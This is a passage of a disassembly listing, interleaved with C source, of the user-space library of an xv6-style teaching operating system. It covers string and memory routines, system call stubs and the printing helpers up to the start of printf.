10c2: 48 89 7d f8 mov %rdi,-0x8(%rbp)
10c6: 48 89 75 f0 mov %rsi,-0x10(%rbp)
while(*p && *p == *q)
10ca: eb 0a jmp 10d6 <strcmp+0x20>
p++, q++;
10cc: 48 83 45 f8 01 addq $0x1,-0x8(%rbp)
10d1: 48 83 45 f0 01 addq $0x1,-0x10(%rbp)
while(*p && *p == *q)
10d6: 48 8b 45 f8 mov -0x8(%rbp),%rax
10da: 0f b6 00 movzbl (%rax),%eax
10dd: 84 c0 test %al,%al
10df: 74 12 je 10f3 <strcmp+0x3d>
10e1: 48 8b 45 f8 mov -0x8(%rbp),%rax
10e5: 0f b6 10 movzbl (%rax),%edx
10e8: 48 8b 45 f0 mov -0x10(%rbp),%rax
10ec: 0f b6 00 movzbl (%rax),%eax
10ef: 38 c2 cmp %al,%dl
10f1: 74 d9 je 10cc <strcmp+0x16>
return (uchar)*p - (uchar)*q;
10f3: 48 8b 45 f8 mov -0x8(%rbp),%rax
10f7: 0f b6 00 movzbl (%rax),%eax
10fa: 0f b6 d0 movzbl %al,%edx
10fd: 48 8b 45 f0 mov -0x10(%rbp),%rax
1101: 0f b6 00 movzbl (%rax),%eax
1104: 0f b6 c0 movzbl %al,%eax
1107: 29 c2 sub %eax,%edx
1109: 89 d0 mov %edx,%eax
}
110b: c9 leaveq
110c: c3 retq
000000000000110d <strlen>:
uint
strlen(char *s)
{
110d: f3 0f 1e fa endbr64
1111: 55 push %rbp
1112: 48 89 e5 mov %rsp,%rbp
1115: 48 83 ec 18 sub $0x18,%rsp
1119: 48 89 7d e8 mov %rdi,-0x18(%rbp)
int n;
for(n = 0; s[n]; n++)
111d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
1124: eb 04 jmp 112a <strlen+0x1d>
1126: 83 45 fc 01 addl $0x1,-0x4(%rbp)
112a: 8b 45 fc mov -0x4(%rbp),%eax
112d: 48 63 d0 movslq %eax,%rdx
1130: 48 8b 45 e8 mov -0x18(%rbp),%rax
1134: 48 01 d0 add %rdx,%rax
1137: 0f b6 00 movzbl (%rax),%eax
113a: 84 c0 test %al,%al
113c: 75 e8 jne 1126 <strlen+0x19>
;
return n;
113e: 8b 45 fc mov -0x4(%rbp),%eax
}
1141: c9 leaveq
1142: c3 retq
0000000000001143 <memset>:
void*
memset(void *dst, int c, uint n)
{
1143: f3 0f 1e fa endbr64
1147: 55 push %rbp
1148: 48 89 e5 mov %rsp,%rbp
114b: 48 83 ec 10 sub $0x10,%rsp
114f: 48 89 7d f8 mov %rdi,-0x8(%rbp)
1153: 89 75 f4 mov %esi,-0xc(%rbp)
1156: 89 55 f0 mov %edx,-0x10(%rbp)
stosb(dst, c, n);
1159: 8b 55 f0 mov -0x10(%rbp),%edx
115c: 8b 4d f4 mov -0xc(%rbp),%ecx
115f: 48 8b 45 f8 mov -0x8(%rbp),%rax
1163: 89 ce mov %ecx,%esi
1165: 48 89 c7 mov %rax,%rdi
1168: 48 b8 35 10 00 00 00 movabs $0x1035,%rax
116f: 00 00 00
1172: ff d0 callq *%rax
return dst;
1174: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
1178: c9 leaveq
1179: c3 retq
000000000000117a <strchr>:
char*
strchr(const char *s, char c)
{
117a: f3 0f 1e fa endbr64
117e: 55 push %rbp
117f: 48 89 e5 mov %rsp,%rbp
1182: 48 83 ec 10 sub $0x10,%rsp
1186: 48 89 7d f8 mov %rdi,-0x8(%rbp)
118a: 89 f0 mov %esi,%eax
118c: 88 45 f4 mov %al,-0xc(%rbp)
for(; *s; s++)
118f: eb 17 jmp 11a8 <strchr+0x2e>
if(*s == c)
1191: 48 8b 45 f8 mov -0x8(%rbp),%rax
1195: 0f b6 00 movzbl (%rax),%eax
1198: 38 45 f4 cmp %al,-0xc(%rbp)
119b: 75 06 jne 11a3 <strchr+0x29>
return (char*)s;
119d: 48 8b 45 f8 mov -0x8(%rbp),%rax
11a1: eb 15 jmp 11b8 <strchr+0x3e>
for(; *s; s++)
11a3: 48 83 45 f8 01 addq $0x1,-0x8(%rbp)
11a8: 48 8b 45 f8 mov -0x8(%rbp),%rax
11ac: 0f b6 00 movzbl (%rax),%eax
11af: 84 c0 test %al,%al
11b1: 75 de jne 1191 <strchr+0x17>
return 0;
11b3: b8 00 00 00 00 mov $0x0,%eax
}
11b8: c9 leaveq
11b9: c3 retq
00000000000011ba <gets>:
char*
gets(char *buf, int max)
{
11ba: f3 0f 1e fa endbr64
11be: 55 push %rbp
11bf: 48 89 e5 mov %rsp,%rbp
11c2: 48 83 ec 20 sub $0x20,%rsp
11c6: 48 89 7d e8 mov %rdi,-0x18(%rbp)
11ca: 89 75 e4 mov %esi,-0x1c(%rbp)
int i, cc;
char c;
for(i=0; i+1 < max; ){
11cd: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
11d4: eb 4f jmp 1225 <gets+0x6b>
cc = read(0, &c, 1);
11d6: 48 8d 45 f7 lea -0x9(%rbp),%rax
11da: ba 01 00 00 00 mov $0x1,%edx
11df: 48 89 c6 mov %rax,%rsi
11e2: bf 00 00 00 00 mov $0x0,%edi
11e7: 48 b8 9f 13 00 00 00 movabs $0x139f,%rax
11ee: 00 00 00
11f1: ff d0 callq *%rax
11f3: 89 45 f8 mov %eax,-0x8(%rbp)
if(cc < 1)
11f6: 83 7d f8 00 cmpl $0x0,-0x8(%rbp)
11fa: 7e 36 jle 1232 <gets+0x78>
break;
buf[i++] = c;
11fc: 8b 45 fc mov -0x4(%rbp),%eax
11ff: 8d 50 01 lea 0x1(%rax),%edx
1202: 89 55 fc mov %edx,-0x4(%rbp)
1205: 48 63 d0 movslq %eax,%rdx
1208: 48 8b 45 e8 mov -0x18(%rbp),%rax
120c: 48 01 c2 add %rax,%rdx
120f: 0f b6 45 f7 movzbl -0x9(%rbp),%eax
1213: 88 02 mov %al,(%rdx)
if(c == '\n' || c == '\r')
1215: 0f b6 45 f7 movzbl -0x9(%rbp),%eax
1219: 3c 0a cmp $0xa,%al
121b: 74 16 je 1233 <gets+0x79>
121d: 0f b6 45 f7 movzbl -0x9(%rbp),%eax
1221: 3c 0d cmp $0xd,%al
1223: 74 0e je 1233 <gets+0x79>
for(i=0; i+1 < max; ){
1225: 8b 45 fc mov -0x4(%rbp),%eax
1228: 83 c0 01 add $0x1,%eax
122b: 39 45 e4 cmp %eax,-0x1c(%rbp)
122e: 7f a6 jg 11d6 <gets+0x1c>
1230: eb 01 jmp 1233 <gets+0x79>
break;
1232: 90 nop
break;
}
buf[i] = '\0';
1233: 8b 45 fc mov -0x4(%rbp),%eax
1236: 48 63 d0 movslq %eax,%rdx
1239: 48 8b 45 e8 mov -0x18(%rbp),%rax
123d: 48 01 d0 add %rdx,%rax
1240: c6 00 00 movb $0x0,(%rax)
return buf;
1243: 48 8b 45 e8 mov -0x18(%rbp),%rax
}
1247: c9 leaveq
1248: c3 retq
0000000000001249 <stat>:
int
stat(char *n, struct stat *st)
{
1249: f3 0f 1e fa endbr64
124d: 55 push %rbp
124e: 48 89 e5 mov %rsp,%rbp
1251: 48 83 ec 20 sub $0x20,%rsp
1255: 48 89 7d e8 mov %rdi,-0x18(%rbp)
1259: 48 89 75 e0 mov %rsi,-0x20(%rbp)
int fd;
int r;
fd = open(n, O_RDONLY);
125d: 48 8b 45 e8 mov -0x18(%rbp),%rax
1261: be 00 00 00 00 mov $0x0,%esi
1266: 48 89 c7 mov %rax,%rdi
1269: 48 b8 e0 13 00 00 00 movabs $0x13e0,%rax
1270: 00 00 00
1273: ff d0 callq *%rax
1275: 89 45 fc mov %eax,-0x4(%rbp)
if(fd < 0)
1278: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
127c: 79 07 jns 1285 <stat+0x3c>
return -1;
127e: b8 ff ff ff ff mov $0xffffffff,%eax
1283: eb 2f jmp 12b4 <stat+0x6b>
r = fstat(fd, st);
1285: 48 8b 55 e0 mov -0x20(%rbp),%rdx
1289: 8b 45 fc mov -0x4(%rbp),%eax
128c: 48 89 d6 mov %rdx,%rsi
128f: 89 c7 mov %eax,%edi
1291: 48 b8 07 14 00 00 00 movabs $0x1407,%rax
1298: 00 00 00
129b: ff d0 callq *%rax
129d: 89 45 f8 mov %eax,-0x8(%rbp)
close(fd);
12a0: 8b 45 fc mov -0x4(%rbp),%eax
12a3: 89 c7 mov %eax,%edi
12a5: 48 b8 b9 13 00 00 00 movabs $0x13b9,%rax
12ac: 00 00 00
12af: ff d0 callq *%rax
return r;
12b1: 8b 45 f8 mov -0x8(%rbp),%eax
}
12b4: c9 leaveq
12b5: c3 retq
00000000000012b6 <atoi>:
int
atoi(const char *s)
{
12b6: f3 0f 1e fa endbr64
12ba: 55 push %rbp
12bb: 48 89 e5 mov %rsp,%rbp
12be: 48 83 ec 18 sub $0x18,%rsp
12c2: 48 89 7d e8 mov %rdi,-0x18(%rbp)
int n;
n = 0;
12c6: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
while('0' <= *s && *s <= '9')
12cd: eb 28 jmp 12f7 <atoi+0x41>
n = n*10 + *s++ - '0';
12cf: 8b 55 fc mov -0x4(%rbp),%edx
12d2: 89 d0 mov %edx,%eax
12d4: c1 e0 02 shl $0x2,%eax
12d7: 01 d0 add %edx,%eax
12d9: 01 c0 add %eax,%eax
12db: 89 c1 mov %eax,%ecx
12dd: 48 8b 45 e8 mov -0x18(%rbp),%rax
12e1: 48 8d 50 01 lea 0x1(%rax),%rdx
12e5: 48 89 55 e8 mov %rdx,-0x18(%rbp)
12e9: 0f b6 00 movzbl (%rax),%eax
12ec: 0f be c0 movsbl %al,%eax
12ef: 01 c8 add %ecx,%eax
12f1: 83 e8 30 sub $0x30,%eax
12f4: 89 45 fc mov %eax,-0x4(%rbp)
while('0' <= *s && *s <= '9')
12f7: 48 8b 45 e8 mov -0x18(%rbp),%rax
12fb: 0f b6 00 movzbl (%rax),%eax
12fe: 3c 2f cmp $0x2f,%al
1300: 7e 0b jle 130d <atoi+0x57>
1302: 48 8b 45 e8 mov -0x18(%rbp),%rax
1306: 0f b6 00 movzbl (%rax),%eax
1309: 3c 39 cmp $0x39,%al
130b: 7e c2 jle 12cf <atoi+0x19>
return n;
130d: 8b 45 fc mov -0x4(%rbp),%eax
}
1310: c9 leaveq
1311: c3 retq
0000000000001312 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
1312: f3 0f 1e fa endbr64
1316: 55 push %rbp
1317: 48 89 e5 mov %rsp,%rbp
131a: 48 83 ec 28 sub $0x28,%rsp
131e: 48 89 7d e8 mov %rdi,-0x18(%rbp)
1322: 48 89 75 e0 mov %rsi,-0x20(%rbp)
1326: 89 55 dc mov %edx,-0x24(%rbp)
char *dst, *src;
dst = vdst;
1329: 48 8b 45 e8 mov -0x18(%rbp),%rax
132d: 48 89 45 f8 mov %rax,-0x8(%rbp)
src = vsrc;
1331: 48 8b 45 e0 mov -0x20(%rbp),%rax
1335: 48 89 45 f0 mov %rax,-0x10(%rbp)
while(n-- > 0)
1339: eb 1d jmp 1358 <memmove+0x46>
*dst++ = *src++;
133b: 48 8b 55 f0 mov -0x10(%rbp),%rdx
133f: 48 8d 42 01 lea 0x1(%rdx),%rax
1343: 48 89 45 f0 mov %rax,-0x10(%rbp)
1347: 48 8b 45 f8 mov -0x8(%rbp),%rax
134b: 48 8d 48 01 lea 0x1(%rax),%rcx
134f: 48 89 4d f8 mov %rcx,-0x8(%rbp)
1353: 0f b6 12 movzbl (%rdx),%edx
1356: 88 10 mov %dl,(%rax)
while(n-- > 0)
1358: 8b 45 dc mov -0x24(%rbp),%eax
135b: 8d 50 ff lea -0x1(%rax),%edx
135e: 89 55 dc mov %edx,-0x24(%rbp)
1361: 85 c0 test %eax,%eax
1363: 7f d6 jg 133b <memmove+0x29>
return vdst;
1365: 48 8b 45 e8 mov -0x18(%rbp),%rax
}
1369: c9 leaveq
136a: c3 retq
000000000000136b <fork>:
mov $SYS_ ## name, %rax; \
mov %rcx, %r10 ;\
syscall ;\
ret
SYSCALL(fork)
136b: 48 c7 c0 01 00 00 00 mov $0x1,%rax
1372: 49 89 ca mov %rcx,%r10
1375: 0f 05 syscall
1377: c3 retq
0000000000001378 <exit>:
SYSCALL(exit)
1378: 48 c7 c0 02 00 00 00 mov $0x2,%rax
137f: 49 89 ca mov %rcx,%r10
1382: 0f 05 syscall
1384: c3 retq
0000000000001385 <wait>:
SYSCALL(wait)
1385: 48 c7 c0 03 00 00 00 mov $0x3,%rax
138c: 49 89 ca mov %rcx,%r10
138f: 0f 05 syscall
1391: c3 retq
0000000000001392 <pipe>:
SYSCALL(pipe)
1392: 48 c7 c0 04 00 00 00 mov $0x4,%rax
1399: 49 89 ca mov %rcx,%r10
139c: 0f 05 syscall
139e: c3 retq
000000000000139f <read>:
SYSCALL(read)
139f: 48 c7 c0 05 00 00 00 mov $0x5,%rax
13a6: 49 89 ca mov %rcx,%r10
13a9: 0f 05 syscall
13ab: c3 retq
00000000000013ac <write>:
SYSCALL(write)
13ac: 48 c7 c0 10 00 00 00 mov $0x10,%rax
13b3: 49 89 ca mov %rcx,%r10
13b6: 0f 05 syscall
13b8: c3 retq
00000000000013b9 <close>:
SYSCALL(close)
13b9: 48 c7 c0 15 00 00 00 mov $0x15,%rax
13c0: 49 89 ca mov %rcx,%r10
13c3: 0f 05 syscall
13c5: c3 retq
00000000000013c6 <kill>:
SYSCALL(kill)
13c6: 48 c7 c0 06 00 00 00 mov $0x6,%rax
13cd: 49 89 ca mov %rcx,%r10
13d0: 0f 05 syscall
13d2: c3 retq
00000000000013d3 <exec>:
SYSCALL(exec)
13d3: 48 c7 c0 07 00 00 00 mov $0x7,%rax
13da: 49 89 ca mov %rcx,%r10
13dd: 0f 05 syscall
13df: c3 retq
00000000000013e0 <open>:
SYSCALL(open)
13e0: 48 c7 c0 0f 00 00 00 mov $0xf,%rax
13e7: 49 89 ca mov %rcx,%r10
13ea: 0f 05 syscall
13ec: c3 retq
00000000000013ed <mknod>:
SYSCALL(mknod)
13ed: 48 c7 c0 11 00 00 00 mov $0x11,%rax
13f4: 49 89 ca mov %rcx,%r10
13f7: 0f 05 syscall
13f9: c3 retq
00000000000013fa <unlink>:
SYSCALL(unlink)
13fa: 48 c7 c0 12 00 00 00 mov $0x12,%rax
1401: 49 89 ca mov %rcx,%r10
1404: 0f 05 syscall
1406: c3 retq
0000000000001407 <fstat>:
SYSCALL(fstat)
1407: 48 c7 c0 08 00 00 00 mov $0x8,%rax
140e: 49 89 ca mov %rcx,%r10
1411: 0f 05 syscall
1413: c3 retq
0000000000001414 <link>:
SYSCALL(link)
1414: 48 c7 c0 13 00 00 00 mov $0x13,%rax
141b: 49 89 ca mov %rcx,%r10
141e: 0f 05 syscall
1420: c3 retq
0000000000001421 <mkdir>:
SYSCALL(mkdir)
1421: 48 c7 c0 14 00 00 00 mov $0x14,%rax
1428: 49 89 ca mov %rcx,%r10
142b: 0f 05 syscall
142d: c3 retq
000000000000142e <chdir>:
SYSCALL(chdir)
142e: 48 c7 c0 09 00 00 00 mov $0x9,%rax
1435: 49 89 ca mov %rcx,%r10
1438: 0f 05 syscall
143a: c3 retq
000000000000143b <dup>:
SYSCALL(dup)
143b: 48 c7 c0 0a 00 00 00 mov $0xa,%rax
1442: 49 89 ca mov %rcx,%r10
1445: 0f 05 syscall
1447: c3 retq
0000000000001448 <getpid>:
SYSCALL(getpid)
1448: 48 c7 c0 0b 00 00 00 mov $0xb,%rax
144f: 49 89 ca mov %rcx,%r10
1452: 0f 05 syscall
1454: c3 retq
0000000000001455 <sbrk>:
SYSCALL(sbrk)
1455: 48 c7 c0 0c 00 00 00 mov $0xc,%rax
145c: 49 89 ca mov %rcx,%r10
145f: 0f 05 syscall
1461: c3 retq
0000000000001462 <sleep>:
SYSCALL(sleep)
1462: 48 c7 c0 0d 00 00 00 mov $0xd,%rax
1469: 49 89 ca mov %rcx,%r10
146c: 0f 05 syscall
146e: c3 retq
000000000000146f <uptime>:
SYSCALL(uptime)
146f: 48 c7 c0 0e 00 00 00 mov $0xe,%rax
1476: 49 89 ca mov %rcx,%r10
1479: 0f 05 syscall
147b: c3 retq
000000000000147c <dedup>:
SYSCALL(dedup)
147c: 48 c7 c0 16 00 00 00 mov $0x16,%rax
1483: 49 89 ca mov %rcx,%r10
1486: 0f 05 syscall
1488: c3 retq
0000000000001489 <freepages>:
SYSCALL(freepages)
1489: 48 c7 c0 17 00 00 00 mov $0x17,%rax
1490: 49 89 ca mov %rcx,%r10
1493: 0f 05 syscall
1495: c3 retq
0000000000001496 <putc>:
#include <stdarg.h>
static void
putc(int fd, char c)
{
1496: f3 0f 1e fa endbr64
149a: 55 push %rbp
149b: 48 89 e5 mov %rsp,%rbp
149e: 48 83 ec 10 sub $0x10,%rsp
14a2: 89 7d fc mov %edi,-0x4(%rbp)
14a5: 89 f0 mov %esi,%eax
14a7: 88 45 f8 mov %al,-0x8(%rbp)
write(fd, &c, 1);
14aa: 48 8d 4d f8 lea -0x8(%rbp),%rcx
14ae: 8b 45 fc mov -0x4(%rbp),%eax
14b1: ba 01 00 00 00 mov $0x1,%edx
14b6: 48 89 ce mov %rcx,%rsi
14b9: 89 c7 mov %eax,%edi
14bb: 48 b8 ac 13 00 00 00 movabs $0x13ac,%rax
14c2: 00 00 00
14c5: ff d0 callq *%rax
}
14c7: 90 nop
14c8: c9 leaveq
14c9: c3 retq
00000000000014ca <print_x64>:
static char digits[] = "0123456789abcdef";
static void
print_x64(int fd, addr_t x)
{
14ca: f3 0f 1e fa endbr64
14ce: 55 push %rbp
14cf: 48 89 e5 mov %rsp,%rbp
14d2: 48 83 ec 20 sub $0x20,%rsp
14d6: 89 7d ec mov %edi,-0x14(%rbp)
14d9: 48 89 75 e0 mov %rsi,-0x20(%rbp)
int i;
for (i = 0; i < (sizeof(addr_t) * 2); i++, x <<= 4)
14dd: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
14e4: eb 35 jmp 151b <print_x64+0x51>
putc(fd, digits[x >> (sizeof(addr_t) * 8 - 4)]);
14e6: 48 8b 45 e0 mov -0x20(%rbp),%rax
14ea: 48 c1 e8 3c shr $0x3c,%rax
14ee: 48 ba c0 20 00 00 00 movabs $0x20c0,%rdx
14f5: 00 00 00
14f8: 0f b6 04 02 movzbl (%rdx,%rax,1),%eax
14fc: 0f be d0 movsbl %al,%edx
14ff: 8b 45 ec mov -0x14(%rbp),%eax
1502: 89 d6 mov %edx,%esi
1504: 89 c7 mov %eax,%edi
1506: 48 b8 96 14 00 00 00 movabs $0x1496,%rax
150d: 00 00 00
1510: ff d0 callq *%rax
for (i = 0; i < (sizeof(addr_t) * 2); i++, x <<= 4)
1512: 83 45 fc 01 addl $0x1,-0x4(%rbp)
1516: 48 c1 65 e0 04 shlq $0x4,-0x20(%rbp)
151b: 8b 45 fc mov -0x4(%rbp),%eax
151e: 83 f8 0f cmp $0xf,%eax
1521: 76 c3 jbe 14e6 <print_x64+0x1c>
}
1523: 90 nop
1524: 90 nop
1525: c9 leaveq
1526: c3 retq
0000000000001527 <print_x32>:
static void
print_x32(int fd, uint x)
{
1527: f3 0f 1e fa endbr64
152b: 55 push %rbp
152c: 48 89 e5 mov %rsp,%rbp
152f: 48 83 ec 20 sub $0x20,%rsp
1533: 89 7d ec mov %edi,-0x14(%rbp)
1536: 89 75 e8 mov %esi,-0x18(%rbp)
int i;
for (i = 0; i < (sizeof(uint) * 2); i++, x <<= 4)
1539: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
1540: eb 36 jmp 1578 <print_x32+0x51>
putc(fd, digits[x >> (sizeof(uint) * 8 - 4)]);
1542: 8b 45 e8 mov -0x18(%rbp),%eax
1545: c1 e8 1c shr $0x1c,%eax
1548: 89 c2 mov %eax,%edx
154a: 48 b8 c0 20 00 00 00 movabs $0x20c0,%rax
1551: 00 00 00
1554: 89 d2 mov %edx,%edx
1556: 0f b6 04 10 movzbl (%rax,%rdx,1),%eax
155a: 0f be d0 movsbl %al,%edx
155d: 8b 45 ec mov -0x14(%rbp),%eax
1560: 89 d6 mov %edx,%esi
1562: 89 c7 mov %eax,%edi
1564: 48 b8 96 14 00 00 00 movabs $0x1496,%rax
156b: 00 00 00
156e: ff d0 callq *%rax
for (i = 0; i < (sizeof(uint) * 2); i++, x <<= 4)
1570: 83 45 fc 01 addl $0x1,-0x4(%rbp)
1574: c1 65 e8 04 shll $0x4,-0x18(%rbp)
1578: 8b 45 fc mov -0x4(%rbp),%eax
157b: 83 f8 07 cmp $0x7,%eax
157e: 76 c2 jbe 1542 <print_x32+0x1b>
}
1580: 90 nop
1581: 90 nop
1582: c9 leaveq
1583: c3 retq
0000000000001584 <print_d>:
static void
print_d(int fd, int v)
{
1584: f3 0f 1e fa endbr64
1588: 55 push %rbp
1589: 48 89 e5 mov %rsp,%rbp
158c: 48 83 ec 30 sub $0x30,%rsp
1590: 89 7d dc mov %edi,-0x24(%rbp)
1593: 89 75 d8 mov %esi,-0x28(%rbp)
char buf[16];
int64 x = v;
1596: 8b 45 d8 mov -0x28(%rbp),%eax
1599: 48 98 cltq
159b: 48 89 45 f8 mov %rax,-0x8(%rbp)
if (v < 0)
159f: 83 7d d8 00 cmpl $0x0,-0x28(%rbp)
15a3: 79 04 jns 15a9 <print_d+0x25>
x = -x;
15a5: 48 f7 5d f8 negq -0x8(%rbp)
int i = 0;
15a9: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%rbp)
do {
buf[i++] = digits[x % 10];
15b0: 48 8b 4d f8 mov -0x8(%rbp),%rcx
15b4: 48 ba 67 66 66 66 66 movabs $0x6666666666666667,%rdx
15bb: 66 66 66
15be: 48 89 c8 mov %rcx,%rax
15c1: 48 f7 ea imul %rdx
15c4: 48 c1 fa 02 sar $0x2,%rdx
15c8: 48 89 c8 mov %rcx,%rax
15cb: 48 c1 f8 3f sar $0x3f,%rax
15cf: 48 29 c2 sub %rax,%rdx
15d2: 48 89 d0 mov %rdx,%rax
15d5: 48 c1 e0 02 shl $0x2,%rax
15d9: 48 01 d0 add %rdx,%rax
15dc: 48 01 c0 add %rax,%rax
15df: 48 29 c1 sub %rax,%rcx
15e2: 48 89 ca mov %rcx,%rdx
15e5: 8b 45 f4 mov -0xc(%rbp),%eax
15e8: 8d 48 01 lea 0x1(%rax),%ecx
15eb: 89 4d f4 mov %ecx,-0xc(%rbp)
15ee: 48 b9 c0 20 00 00 00 movabs $0x20c0,%rcx
15f5: 00 00 00
15f8: 0f b6 14 11 movzbl (%rcx,%rdx,1),%edx
15fc: 48 98 cltq
15fe: 88 54 05 e0 mov %dl,-0x20(%rbp,%rax,1)
x /= 10;
1602: 48 8b 4d f8 mov -0x8(%rbp),%rcx
1606: 48 ba 67 66 66 66 66 movabs $0x6666666666666667,%rdx
160d: 66 66 66
1610: 48 89 c8 mov %rcx,%rax
1613: 48 f7 ea imul %rdx
1616: 48 c1 fa 02 sar $0x2,%rdx
161a: 48 89 c8 mov %rcx,%rax
161d: 48 c1 f8 3f sar $0x3f,%rax
1621: 48 29 c2 sub %rax,%rdx
1624: 48 89 d0 mov %rdx,%rax
1627: 48 89 45 f8 mov %rax,-0x8(%rbp)
} while(x != 0);
162b: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
1630: 0f 85 7a ff ff ff jne 15b0 <print_d+0x2c>
if (v < 0)
1636: 83 7d d8 00 cmpl $0x0,-0x28(%rbp)
163a: 79 32 jns 166e <print_d+0xea>
buf[i++] = '-';
163c: 8b 45 f4 mov -0xc(%rbp),%eax
163f: 8d 50 01 lea 0x1(%rax),%edx
1642: 89 55 f4 mov %edx,-0xc(%rbp)
1645: 48 98 cltq
1647: c6 44 05 e0 2d movb $0x2d,-0x20(%rbp,%rax,1)
while (--i >= 0)
164c: eb 20 jmp 166e <print_d+0xea>
putc(fd, buf[i]);
164e: 8b 45 f4 mov -0xc(%rbp),%eax
1651: 48 98 cltq
1653: 0f b6 44 05 e0 movzbl -0x20(%rbp,%rax,1),%eax
1658: 0f be d0 movsbl %al,%edx
165b: 8b 45 dc mov -0x24(%rbp),%eax
165e: 89 d6 mov %edx,%esi
1660: 89 c7 mov %eax,%edi
1662: 48 b8 96 14 00 00 00 movabs $0x1496,%rax
1669: 00 00 00
166c: ff d0 callq *%rax
while (--i >= 0)
166e: 83 6d f4 01 subl $0x1,-0xc(%rbp)
1672: 83 7d f4 00 cmpl $0x0,-0xc(%rbp)
1676: 79 d6 jns 164e <print_d+0xca>
}
1678: 90 nop
1679: 90 nop
167a: c9 leaveq
167b: c3 retq
000000000000167c <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
167c: f3 0f 1e fa endbr64
1680: 55 push %rbp
1681: 48 89 e5 mov %rsp,%rbp
1684: 48 81 ec f0 00 00 00 sub $0xf0,%rsp
168b: 89 bd 1c ff ff ff mov %edi,-0xe4(%rbp)
1691: 48 89 b5 10 ff ff ff mov %rsi,-0xf0(%rbp)
1698: 48 89 95 60 ff ff ff mov %rdx,-0xa0(%rbp)
169f: 48 89 8d 68 ff ff ff mov %rcx,-0x98(%rbp)
16a6: 4c 89 85 70 ff ff ff mov %r8,-0x90(%rbp)
16ad: 4c 89 8d 78 ff ff ff mov %r9,-0x88(%rbp)
16b4: 84 c0 test %al,%al
16b6: 74 20 je 16d8 <printf+0x5c>
16b8: 0f 29 45 80 movaps %xmm0,-0x80(%rbp)
16bc: 0f 29 4d 90 movaps %xmm1,-0x70(%rbp)
16c0: 0f 29 55 a0 movaps %xmm2,-0x60(%rbp)
16c4: 0f 29 5d b0 movaps %xmm3,-0x50(%rbp)
16c8: 0f 29 65 c0 movaps %xmm4,-0x40(%rbp)
16cc: 0f 29 6d d0 movaps %xmm5,-0x30(%rbp)
16d0: 0f 29 75 e0 movaps %xmm6,-0x20(%rbp)
16d4: 0f 29 7d f0 movaps %xmm7,-0x10(%rbp)
va_list ap;
int i, c;
char *s;
va_start(ap, fmt);
16d8: c7 85 20 ff ff ff 10 movl $0x10,-0xe0(%rbp)
16df: 00 00 00
16e2: c7 85 24 ff ff ff 30 movl $0x30,-0xdc(%rbp)
16e9: 00 00 00
16ec: 48 8d 45 10 lea 0x10(%rbp),%rax
16f0: 48 89 85 28 ff ff ff mov %rax,-0xd8(%rbp)
16f7: 48 8d 85 50 ff ff ff lea -0xb0(%rbp),%rax
16fe: 48 89 85 30 ff ff ff mov %rax,-0xd0(%rbp)
for (i = 0; (c = fmt[i] & 0xff) != 0; i++) {
1705: c7 85 4c ff ff ff 00 movl $0x0,-0xb4(%rbp)
170c: 00 00 00
170f: e9 41 03 00 00 jmpq 1a55 <printf+0x3d9>
if (c != '%') {
1714: 83 bd 3c ff ff ff 25 cmpl $0x25,-0xc4(%rbp)
171b: 74 24 je 1741 <printf+0xc5>
putc(fd, c);
171d: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax
1723: 0f be d0 movsbl %al,%edx
1726: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
172c: 89 d6 mov %edx,%esi
172e: 89 c7 mov %eax,%edi
1730: 48 b8 96 14 00 00 00 movabs $0x1496,%rax
1737: 00 00 00
173a: ff d0 callq *%rax
continue;
173c: e9 0d 03 00 00 jmpq 1a4e <printf+0x3d2>
}
c = fmt[++i] & 0xff;
1741: 83 85 4c ff ff ff 01 addl $0x1,-0xb4(%rbp)
1748: 8b 85 4c ff ff ff mov -0xb4(%rbp),%eax
174e: 48 63 d0 movslq %eax,%rdx
1751: 48 8b 85 10 ff ff ff mov -0xf0(%rbp),%rax
1758: 48 01 d0 add %rdx,%rax
175b: 0f b6 00 movzbl (%rax),%eax
175e: 0f be c0 movsbl %al,%eax
1761: 25 ff 00 00 00 and $0xff,%eax
1766: 89 85 3c ff ff ff mov %eax,-0xc4(%rbp)
if (c == 0)
176c: 83 bd 3c ff ff ff 00 cmpl $0x0,-0xc4(%rbp)
1773: 0f 84 0f 03 00 00 je 1a88 <printf+0x40c>
break;
switch(c) {
1779: 83 bd 3c ff ff ff 25 cmpl $0x25,-0xc4(%rbp)
1780: 0f 84 74 02 00 00 je 19fa <printf+0x37e>
1786: 83 bd 3c ff ff ff 25 cmpl $0x25,-0xc4(%rbp)
178d: 0f 8c 82 02 00 00 jl 1a15 <printf+0x399>
1793: 83 bd 3c ff ff ff 78 cmpl $0x78,-0xc4(%rbp)
179a: 0f 8f 75 02 00 00 jg 1a15 <printf+0x399>
17a0: 83 bd 3c ff ff ff 63 cmpl $0x63,-0xc4(%rbp)
17a7: 0f 8c 68 02 00 00 jl 1a15 <printf+0x399>
17ad: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax
17b3: 83 e8 63 sub $0x63,%eax
17b6: 83 f8 15 cmp $0x15,%eax
17b9: 0f 87 56 02 00 00 ja 1a15 <printf+0x399>
17bf: 89 c0 mov %eax,%eax
17c1: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
17c8: 00
17c9: 48 b8 98 1d 00 00 00 movabs $0x1d98,%rax
17d0: 00 00 00
17d3: 48 01 d0 add %rdx,%rax
17d6: 48 8b 00 mov (%rax),%rax
17d9: 3e ff e0 notrack jmpq *%rax
case 'c':
putc(fd, va_arg(ap, int));
17dc: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
17e2: 83 f8 2f cmp $0x2f,%eax
17e5: 77 23 ja 180a <printf+0x18e>
17e7: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
17ee: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
17f4: 89 d2 mov %edx,%edx
17f6: 48 01 d0 add %rdx,%rax
17f9: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
